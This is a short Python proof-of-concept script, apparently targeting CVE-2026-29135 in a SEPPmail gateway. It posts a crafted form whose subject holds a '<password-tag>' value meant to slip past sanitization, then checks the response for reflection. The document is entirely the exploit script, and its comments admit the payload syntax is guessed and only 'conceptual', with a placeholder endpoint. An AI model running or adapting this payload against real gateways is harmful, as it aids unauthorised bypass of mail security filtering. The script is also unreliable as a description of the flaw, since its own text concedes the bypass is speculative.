The following code is for security research and authorized testing only.
python
import requests
def check_vulnerability(target_url):
"""
PoC for CVE-2026-29135
Sends a crafted payload with a password-tag to bypass subject sanitization.
"""
# The specific 'password-tag' syntax might vary based on reverse engineering
# This is a conceptual representation of the bypass payload
payload = {
"recipient": "[email protected]",
"subject": "<password-tag>test_payload</password-tag>",
"body": "Checking sanitization bypass."
}
headers = {
"User-Agent": "CVE-2026-29135-Scanner"
}
try:
response = requests.post(target_url, data=payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check if payload was reflected without sanitization.")
print(f"[+] Response: {response.text[:200]}")
else:
print(f"[-] Unexpected status code: {response.status_code}")
except Exception as e:
print(f"[-] Error occurred: {e}")
if __name__ == "__main__":
target = "http://target-seppmail-gateway/api/endpoint"
check_vulnerability(target)